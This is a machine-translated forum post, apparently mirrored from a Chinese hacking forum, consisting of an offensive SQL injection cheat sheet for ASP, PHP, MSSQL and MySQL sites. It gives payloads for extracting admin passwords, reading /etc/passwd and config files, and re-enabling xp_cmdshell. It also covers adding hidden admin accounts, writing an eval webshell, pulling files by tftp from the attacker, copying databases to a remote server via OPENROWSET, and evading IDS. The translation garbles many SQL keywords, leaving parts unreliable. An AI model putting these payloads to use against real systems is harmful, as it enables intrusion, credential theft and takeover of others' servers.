See artikkel on masintõlke peegelartikkel, palun klõpsake siia, et hüpata algse artikli juurde.

Vaade: 20889|Vastuse: 2

[Turvaline suhtlus] SQL Injection Book - ASP süstimise haavatavus Täielik kontakt

[Kopeeri link]
Postitatud 28.09.2015 18:21:41 | | |


MSSQL ristandmebaasi päringud (lõhnav toit!) Dark)

Pigista välja iga viimane tilk MS SQL-ist

SQL-lause viiteid ja kirjekomplekti objekte selgitatakse üksikasjalikult

SQL Serveris salvestatud protseduuride kohta

Loo webshell mssql varukoopiaga

SQL_Injection edasijõudnud rakendused

Rist-site SQL süstimine (laokai)

Imelik SQL süstimine (AMANL)

Täiustatud SQL-i süstimine SQL Serveri rakendustes

Kuidas kasutada SQL-i süstimist kataloogide läbimiseks

SQL süstimise tehnikate juhend (tõlkija: demonalex)

Mõned rünnakud SQL-andmebaasidele

SQL süstimise rünnaku tehnika (JSW)

SQL_Injection Täiustatud rakendused (APACHY)

Ebatavalised SQL Injectioni meetodid (Guilin Veteran)

Varu kest

Räägi php+mysql süstimise lause struktuurist (Heyhehehehe·≯Super· Hei)

Täiustatud SQL süstimine MySQL-iga (angel)

L'injection (My)SQL PHP kaudu

Oracle SQL Language

SQL käsitsi süstimise entsüklopeedia

Eeltingimused nõuavad tööriistu: SQL Query Analyzer ja SqlExec Sunx Version
==============================================================================================
1. Määra, kas süstimiskoht on olemas
; ja 1=1 ning 1=2
2. Arvan, et tabeli nimi pole midagi muud kui administraatori administraatori, kasutaja parooli jne:
ja 0<>(vali arv(*) *-st)
ja 0<>(select count(*) administraatorilt) — Määra, kas administraatori tabel eksisteerib
3. Arva ära kontode arv. Kui kohtad 0< naase õigele lehele 1< too vealeht, mis näitab, et kontode arv on 1
ja 0<(vali loend(*) administraatorilt)
ja 1<(vali loend(*) administraatorilt)
4. Arva välja nimi Lisa välja nimi, mida mõtleme len( ) sulgudes.
ja 1=(vali count(*) administraatorist, kus len(*)>0)–
ja 1=(vali count(*) administraatorist, kus len(kasutaja välja nimi)>0)
ja 1=(vali count(*) administraatorilt, kus len(_blank>parooli välja nimi)>0)
5. Arva iga välja pikkus Arva, et pikkus on teisendada >0, kuni õige lehekülg tagastatakse
ja 1=(vali count(*) administ, kus len(*)>0)
ja 1=(vali count(*) administraatorilt, kus len(name)>6) viga
ja 1=(vali count(*) administraatorist, kus len(name)>5) Õige pikkus on 6
ja 1=(vali count(*) administraatorilt, kus len(name)=6) on õige
ja 1=(vali count(*) administraatorilt, kus len(password)>11) on õige
ja 1=(vali count(*) administraatorilt, kus len(password)>12) vea pikkus on 12
ja 1=(vali count(*) administraatorist, kus len(password)=12) on õige
6. Arva ära tegelased
ja 1=(vali loend(*) administraatorilt, kus vasak(nimi,1)=a) — Arva ära kasutaja konto esimene number
ja 1=(vali count(*) administraatorilt, kus left(name,2)=ab)—Arva kasutaja konto teine number
Lihtsalt lisa üks tähemärk korraga, et arvata, arva piisavalt palju numbreid, kui just arvasid, ja konto number tuleb välja
(1) Arva laua nimi ära

Kasutatud laused:
ja eksisteerib (vali * tabeli nimest)

Näiteks:
ja eksisteerib (vali * administraatorilt)

Kui leht kajab õigesti, tähendab see, et tabelinimi, mille me siin arvasime, on õige, ja kui leht on vale, siis tähendab see, et siin kirjutatud tabeli nimi on vale

, siis muuda tabeli nime ja jätka arvamist, kuni arvad.

Üldiselt kasutatakse sageli tabelinimesid: admin, manage, user või pane see tööriista käivitamisse
(2) Arva välja välja

Kasutatud laused:
ja eksisteerib (vali välja nimi tabeli nimest)

Näiteks:
ja eksisteerib (vali kasutajanimi administraatorilt)

Siin, eeldades, et administraatori tabel on see, mida ma õigesti arvasin, siis tahan kindlaks teha, kas kasutajanime väli eksisteerib, pean kasutama seda lauset, kui leht

Kui näo kaja on õige, tähendab see, et välja nimi, mille me siin arvasime, on õige, ja kui lehekülg on vale, siis tähendab see, et välja nimi, mille siia kirjutasime, on vale

, siis muuda välja nimi ja jätka arvamist, kuni arvad.

Üldiselt on levinud väljanimed kasutajanimed, parool, kasutaja, pass, nimi, pass, pwd, usr, psd ja muud väljad
(3) järjestus järgmiselt

Järjekord järgi on saada selle lehe väljade arvu summa, valmistudes järgmiseks ühiseks päringuks
(4) Union Select

  1. Kui toetad ühist päringut, leia kuvabitt http://www.xxx.com/product_show.asp?id=1 ja 1=2 ühenduse valik

1,2,3,4,5,6,7,8,9,10,11
Oletame, et ekraani bitid on 5,6. Järgmisena peame asendama siin ainult administraatori kasutajanime ja parooli vastavad väljanimed kuvabiti asukohaga
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 administraatorilt leidis tausta sisselogimise
  2. Kui ühist päringut ei toetata
Administraatori kasutajanime ja parooli ei saa ilma ühise päringuta – kasutades Ascii sõnasõnalist dekodeerimist
Kaks
  Kasuta järjestust järgi, et hinnata tabelis olevate bittide arvu, ja kui see ei tööta, kasuta Union selecti, et need ükshaaval paigutada, siin eeldame 8 bitti
Kolm
  Kasuta ühist päringut, et määrata kuvabitid
Neli
  Kasuta kuvabitti, et leida andmebaasi nimi, andmebaasi versioon, 5.0 või uuem versioon saab süstida
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,kasutaja(),0x5c,
version()),8
Viis
  Andmebaasi nimega saad hakata saama tabeli nime skeemi = ja seejärel andmebaasi nime HEX-väärtust ning arvata ära tabeli nime
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+from+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
Kuus
  Analüüsitud tabeli nimi määrab administraatori tabeli nime=tabeli nime HEX-väärtuse ning arvab tabeli väljad ära
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ERILINE

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Seitse
  Pärast väljade saamist administraatori tabelis saame välja nende sisu
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(ERILINE

+kasutajanimi,
0x5f,userpwd),8+from+pub_webmaster
Kaheksa
  Tööriist skaneerib tausta: logi sisse, et Trooja üles laadida pärast selle leidmist, ja kui sa ei leia robots.txt faili, millele pääsed ligi
Üheksa
  Kui sa ei leia tausta, paljastatakse MYSQL administraatori parool
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(kasutaja,parool),8+from+mysql.user
Kümme
  Kui juhuslikult pääsed teele ligi, on tagasiside IIS6 404 vaikimisi leht, mis näitab, et veebisaidi server on: Windows+IIS6+php+MySql keskkond
  c:\\windows\\system32\\inetsrv\MetaBase.xml See tee saab veebilehe seadistusandmed.
  Konstruktiivsed väited http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Üksteist
  Analüüsi koodi ja leia taustaadress
  Esimeses etapis peame saama tabelis olevate väljade pikkuse
Kasutatud väited:
ja (vali tabeli nimest ülemine 1 objektiiv (välja nimi)>0
Nagu mida:
ja (vali administraatorilt top 1 objektiiv (admin_name)>0
Leht kuvatakse tavapäraselt, välja pikkus admin_name on suurem kui 0, ja ma esitan:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Lehel kuvatakse viga, mis näitab, et väli on vahemikus 0 kuni 10 ning pikkus on 5 dihhotoomia järgi
Sama meetodiga määran administraatori parooli välja pikkuse, saan pikkuseks 16
  2. samm
Nüüd liigume teise sammu juurde, võtame väljal kindla tähemärgi ja võtame selle märgi ASCII-kood, mida kasutatakse

Avaldus:
ja (vali top 1 asc(mid(väljanimi, N,1)) tabeli nimest)>0
Vaatan seda lauset eraldi, kõigepealt kõige sisemist mid(kasutajanimi, 1,1) funktsiooni, mis on admin_name välja N esimene märk

märgib, et esimesed paar märki tuleb pealt kuulata,
Siis välimine asc() funktsioon, mis teisendab keskfunktsiooni poolt kinni püütud märgid ASCII-koodiks, kõige ülemine 1, esindab esimese koha tagastusvälja

Rekord siis,
Lõpus olev ">0" on selleks, et võrrelda konverteeritud ASCII-koodi selle numbriga ja lõpuks saada pealtkuulamine, muutes pidevalt viimast väärtust

Uuri selle tegelase täpsemat infot
ASCII kood
Esitamine:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Leht kuvatakse tavapäraselt, mis näitab, et selle märgi ASCII kood on suurem kui 30.
Esitamine:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Leht kuvatakse normaalselt, mis näitab, et selle märgi ASCII kood on suurem kui 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
ASCII kood, mille ma selle tegelase jaoks sain, on 97
Võrdle ASCII tabelit:
Võib järeldada, et esimene märk on "a".
Seejärel hindan teise tähemärgi ASCII koodi.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Leht kuvatakse normaalselt, mis näitab, et tähemärgi ASCII kood on suurem kui 90 ning viimane väärtus on alati muudetud
Sama meetod andis administraatori parooli ja tulemus oli järgmine:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
ja 1=(vali ülemine 1 loend(*) Administ, kus Asc(mid(pass,5,1))=51) –
See päringulause suudab ära arvata hiina kasutaja ja _blank> parooli. Lihtsalt asenda järgmised numbrid Hiina ASSIC koodiga

Muuda tegelasteks.

Grupi users.id järgi, kus 1=1–www.myhack58.com
Grupeeri users.id järgi: users.username, users.password, users.privs 1=1–
; sisesta kasutaja väärtustesse (666, ründaja, foobar, 0xffff )–

UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. VEERUD Kus

TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. VEERUD Kus

TABLE_blank>_NAME=logintable Kus COLUMN_blank>_NAME EI OLE SEES (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. VEERUD Kus

TABLE_blank>_NAME=logintable Kus COLUMN_blank>_NAME EI OLE SEES

(login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank>_name logintable'ist-
UNION Vali TOP 1 parool LOGINTABLE'ist, kus login_blank>_name=Rahul–
Vaata _blank> serveri plaastrit = vale SP4 patch must riba turvavõrk
ja 1=(vali @@VERSION)–

Vaata _blank> andmebaasi ühenduse konto õigusi ja see tagastab normaalset, tõestades, et see on _blank> serveri rolli süsteemiadministraatori õigus.
ja 1=(Vali IS_blank>_SRVROLEMEMBER(süsteemiadministraator))–

Määra, et andmebaasi konto _blank> ühendatud. (Kasuta SA kontot, et ühendada ja tagastada normaalne = tõestada, et ühendatud konto on SA)
ja sa=(Vali System_blank>_user)–
ja user_blank>_name()=dbo–
ja 0<>(vali user_blank>_name()–

Vaata, kas xp_blank>_cmdshell kustutab
ja 1=(Vali count(*) FROM master.dbo.sysobjects Kus xtype = X JA name = xp_blank>_cmdshell)



xp_blank>_cmdshell kustutatakse, taastatakse ja toetab absoluutset tee taastamist
; JUHT master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== andmebaasi õigus on avatud veebilehe füüsilisele teekoodile

==========================================================================
1、drop table [jm_tmp]; loo tabel [jm_tmp](väärtus navrchar(4000) null,data nvarchar(4000)

null) -- Loo tabel


2、 kustuta [jm_tmp]; Lisa [jm_tmp] Täitev master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Sisesta saidi kataloog tabeliväljale


3、and (vali top 1 cast([data] kui nvarchar(4000) char(124) [jm_tmp] order by [data]

desc)=0 '//Paljastatud väli


4. Eemalda laud [jm_tmp] -- kustuta see tabel.
et käsk saaks shelli kätte
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Muud jaamateed
======================load_file() Sageli kasutatav tundlik info ===========================================
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
Ülaltoodud kaks on PHP-faili vaatamiseks, mis kuvab koodi täielikult. On olukordi, kus mõningaid märke ei asendata, näiteks "<" asemel "space", mis naaseb

Veebileht. Ja koodi ei saa vaadata.

3. load_file(char(47)) võib loetleda FreeBSD ja Sunos süsteemide juurkataloogi

4. Vaata linuxi APACHE virtuaalset hosti konfiguratsioonifaili /etc/httpd/conf/httpd.conf või /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf või C:\apache\conf\httpd.conf WINDOWSi vaatamiseks

System Apache fail

6. c:/Resin-3.0.14/conf/resin.conf Vaata jsp poolt arendatud veebisaidi vaigufaili konfiguratsiooniinfot.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf, et vaadata JSP virtuaalset hosti, mis on Linuxi süsteemis seadistatud

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin plahvatustee

11. C:\Windows\system32\inetsrv\MetaBase.xml Vaata IIS-i virtuaalhosti konfiguratsioonifaili

12. /usr/local/resin-3.0.22/conf/resin.conf, et vaadata RESIN konfiguratsioonifaili 3.0.22 jaoks

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Sama mis eespool

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuaalne host

15. /etc/sysconfig/iptables sõltub tulemüüri poliitikast

16. /usr/local/app/php5 b/php.ini PHP ekvivalentsed seaded

17. /etc/my.cnf MYSQL konfiguratsioonifail

18. /etc/redhat-release süsteemiversioon Red Hatist

19 、C:\mysql\data\mysql\user. MYD eksisteerib MYSQL süsteemi kasutajaparoolis

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 IP vaatamiseks.

21. /usr/local/app/php5 b/php.ini //PHP-ga seotud seaded

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuaalse veebilehe seaded

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue kuvab Linuxi tuuma levitusinfot

26、/etc/ftpuser

27. Kontrolli operatsioonilogifaili LINUXi user.bash_history või .bash_profile alt

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logid/error.log
.. /apache/logs/access.log
.. /.. /apache/logid/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logid/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logid/error.log     
.. /apache/logs/access.log
.. /.. /apache/logid/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logid/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Katseta ise reverse PING-i
; kasuta masterit; deklareerida @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s välja; tegevjuht

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Lisa konto
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Loo virtuaalne kataloogi E-ketas:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "vaikimisi veebileht" -v "e","e:\"–

Ligipääsu atribuudid: (kirjutades webshellile)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Eriline _blank> trikk teegi lõhkumiseks: :%5c=\ või muuda %5 / ja \ abil commit
ja 0<>(vali newtable'ist top 1 rajad)–

Hangi andmebaasi nimi (1 kuni 5 on süsteemi ID-d ja saad neid hinnata üle 6)
ja 1=(vali nimi master.dbo.sysdatabases, kus dbid=7)–
ja 0<>(vali count(*) master.dbo.sysdatabases, kus name>1 ja dbid=6)
Esita dbid kordamööda = 7,8,9.... Leia rohkem _blank> andmebaasi nimesid

ja 0<>(vali top 1 nimi bbs.dbo.sysobjects'ist, kus xtype=U) tungivad tabelisse, eeldades administraatorit
ja 0<>(vali bbs.dbo.sysobjectsist top 1 nimi, kus xtype=u ja nimi ei ole (Admin)).

Teised lauad.
ja 0<>(vali count(*) bbs.dbo.sysobjects'ist, kus xtype=you ja name=admin
ja uid>(str(id))) eeldatakse, et UID numbriline väärtus on 18779569 uid=id
ja 0<>(vali bbs.dbo.syscolumns top 1 nimi, kus id=18779569) saab admin-välja, false

Seadistatud user_blank>_id
ja 0<>(vali bbs.dbo.syscolumnsist top 1 nimi, kus id=18779569 ja nimi ei ole
(id,...)) et paljastada teisi välju
ja 0<(vali user_blank>_id BBS.dbo.administ, kus kasutajanimi>1) kasutajanimi saamiseks
Omakorda saad _blank> parooli。。。。。 Oletame, et on väljad nagu user_blank>_id kasutajanimi, parool jne

ja 0<>(vali count(*) master.dbo.sysdatabases, kus name>1 ja dbid=6)
ja 0<>(vali bbs.dbo.sysobjects'ist top 1 nimi, kus xtype=U), et saada tabeli nimi
ja 0<>(vali top 1 nimi bbs.dbo.sysobjects hulgast, kus xtype=u ja nimi ei ole in(Aadress))
ja 0<>(vali count(*) bbs.dbo.sysobjects'ist, kus xtype=u ja name=admin ja uid>(str(id))))

Määra id-väärtus
ja 0<>(vali BBS.dbo.syscolumnsist top 1 nimi, kus id=773577794) kõik väljad

?id=-1 ametiühing vali 1,2,3,4,5,6,7,8,9,10,11,12,13,* administraatorilt
?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 administraatorilt (ühendus, ligipääs on samuti lihtne kasutada)

Hangi WEB tee
; loo tabel [dbo]. [vahetus] ([swappass][char](255)); –
ja (vali swapist top 1 swappass)=1–
; Loo TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) deklareeri @test varchar(20) exec

Meister.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SÜSTEEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

VÄLJUND sisesta teed(tee) väärtused(@test)–
; kasuta KU1; –
; loo tabel cmd (str pilt); – Loo pilditüübi tabel cmd
1. xp_cmdshell laiendusprotsessi eemaldamiseks kasutatakse järgmist väidet:

kui eksisteerib (vali * dbo.sysobjectsist, kus id=object_id(N'[dbo].[ xpcmdshell]') ja

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
tegevjuht sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. xp_cmdshell laiendusprotsessi lisamiseks kasutatakse järgmist lauset:

(1) SQL päringuanalüsaator

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Esmalt täida SqlExec Sunx versiooni vorminduse valikus %s ja sisesta see CMD valikusse

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

eemalda

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
On xp_blank>_cmdshell testimisprotsesse:
; Täitevmeister.. xp_blank>_cmdshell direktor
; tegevjuht master.dbo.sp_blank>_addlogin jiaoniang$; – Lisa SQL-kontod
; täitevjuht master.dbo.sp_blank>_password null, jiaoniang$, 1866574; –
; tegevjuht master.dbo.sp_blank>_addsrvrolemember jiaoniang$ süsteemiadministraator; –
; Exec master.dbo.xp_blank>_cmdshell netikasutaja jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; Exec master.dbo.xp_blank>_cmdshell net localgroup administraatorid jiaoniang$ /add; –
Täitevmeister.. xp_blank>_servicecontrol alustada, planeeri teenuse _blank> alustamiseks
Täitevmeister.. xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Täitevmeister.. xp_blank>_cmdshell tftp -i youip get file.exe – Laadi faile üles TFTP-ga

; deklareeri @a sysname komplekt @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\
; deklareerida @a; komplekt @a=db_blank>_name(); varundusandmebaas @a disk=sinu IP Sinu jagatud kataloog bak.dat
Kui piiratud, siis jah.
vali * openrowset(_blank>sqloledb,server; sa; ,vali OK! tegevjuht

master.dbo.sp_blank>_addlogin hax)

Päringu struktuur:
Vali * FROM uudistest Kus id=... JA teema=... JA .....
adminand 1=(vali count(*) [kasutaja] hulgast, kus kasutajanimi=ohver ja right(left(userpass,01),1)=1)

ja kasutajapassi <>
vali 123; –
; kasuta masterit; –
:a või nimi nagu fff%; – Näitab kasutajat nimega ffff.
ja 1<>(vali loend (e-post) [kasutajalt]); –
; uuenda [kasutajad] sea email=(vali sysobjects'ist top 1 nimi, kus xtype=u ja status>0) kus

nimi=ffff; –
; Uuenda [kasutajad] sea email=(vali sysobjects'ist top 1 id, kus xtype=you ja name=ad) kus

nimi=ffff; –
; Uuenda [kasutajad] seadista email=(vali sysobjects'ist top 1 nimi, kus xtype=you ja id>581577110)

kus nimi=ffff; –
; uuenda [kasutajad] seadista email=(vali paroolist top 1 count(ID)), kus nimi=ffff; –
; uuenda [kasutajad] seadista email=(vali paroolist top 1 PWD, kus ID=2) kus nimi=ffff; –
; uuenda [kasutajad] sea e-post=(vali paroolist ülemine 1 nimi, kus id=2) kus nimi = ffff; –
Ülaltoodud väide on võtta esimene kasutajatabel _blank> andmebaasist ja panna tabeli nimi ffff kasutaja e-posti väljale.
Vaadates ffffi kasutajaprofiili, saad esimese tabeli nimega AD
Seejärel hangi selle tabeli ID vastavalt tabeli nimele, et saada teise tabeli nimi

lisa kasutajate väärtused(666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
sisesta kasutaja väärtustesse (667,123,123,0xffff)–
sisesta kasutaja väärtused (123, admin–, parool, 0xffff)–
; ja kasutaja>0
; ja (vali arvu(*) sysobjectsist)>0
; ja (vali count(*) mysysobjectsist)>0 // access_blank> andmebaasi jaoks

Loetle andmetabeli nimi
; uuenda AAA seadi AAA=(vali sysobjects'ist top 1 nimi, kus xtype=U ja status>0); –
Siin uuendatakse esimese tabeli nimi AAA väljale.
Loe esimest tabelit ja teist tabelit saab lugeda nii (lisa ja nimi tingimuse järel<> just saadud tabeli nimi).
; Uuenda AAA seadistust aaa=(vali sysobjects'ist top 1 nimi, kus xtype=U ja status>0 ning

nimi<>hääletus); –
Siis id=1552 ja eksisteerib (vali * aaa-st, kus aaa>5)
Loe teine tabel ette ja loe see ükshaaval, kuni enam pole.
Lugemisväli näeb välja selline:
; Uuenda AAA komplekti AAA=(vali top 1 col_blank>_name(object_blank>_id((tabeli nimi),1)); –
Siis id=152 ja eksisteerib (vali * aaa-st, kus aaa>5) saab vea ja saab välja nime
; Uuenda AAA set AAA=(vali top 1 col_blank>_name(object_blank>_id((tabeli nimi),2)); –
Siis id=152 ja eksisteerib (vali * aaa-st, kus aaa>5) saab vea ja saab välja nime

[Hangi andmetabeli nimi] [Uuenda välja väärtus tabeli nimele ja loe välja selle välja väärtus, et saada tabeli nimi]
Uuenda tabeli nime set field=(vali sysobjects'ist top 1 nimi, kus xtype=U ja status>0 [ ja nimi<>

Tabeli nimi, mille saad, leia üks pluss üks]) [kus tingimus] vali sysobjects'ist top 1 nimi, kus xtype=you ja

staatus>0 ja nimi puudub (tabel 1, tabel 2,...)
Andmebaasi administraatori ja süsteemiadministraatori konto loomine _blank> _blank> haavatavuste süstimine SQLSERVERI kaudu [Praegune konto peab olema SYSADMIN grupp]

[Hangi andmetabeli välja nimi] [Uuenda välja väärtus välja nimeks ja loe välja selle välja väärtus, et saada välja nimi]
Uuenda tabeli nime komplekt field=(vali top 1 col_blank>_name(object_blank>_id (andmetabeli nimi päringule), välja veerg

Näiteks: 1) [ kus tingimus]

IDS-i tuvastamise möödahiilimine [muutujate abil]
; deklareeri @a sysname komplekt @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\

1. Ava kaug-_blank> andmebaas
Põhisüntaks
vali * OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vali * tabelist 1 )
Parameetrid: (1) OLEDB pakkuja nimi
2. Ühendusstringi parameeter võib olla ükskõik milline port, mida ühendada, näiteks
vali * OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,

Vali * tabelist
3. Kopeeri kogu sihthosti _blank> andmebaas ja lisa kõik kaugtabelid kohalikku tabelisse.

Põhiline süntaks:
sisesta OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vali * tabelist 1) vali

* tabelist 2
See rea lause kopeerib kõik andmed sihthosti tabeli 2 tabelist kaug-_blank> andmebaasi tabelisse. Sobivad parandused praktilises kasutuses

Muuda ühendusstringi IP-aadressi ja porti nii, et see osutaks sinna, kus seda vaja on, näiteks:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali

* tabelist 1) vali * lauast 2
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali

* _blank>_sysdatabases)
Vali * master.dbo.sysdatabases'ist
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Aadress=192.168.0.1,1433; ,vali

* _blank>_sysobjects)
vali * user_blank>_database.dbo.sysobjects hulgast
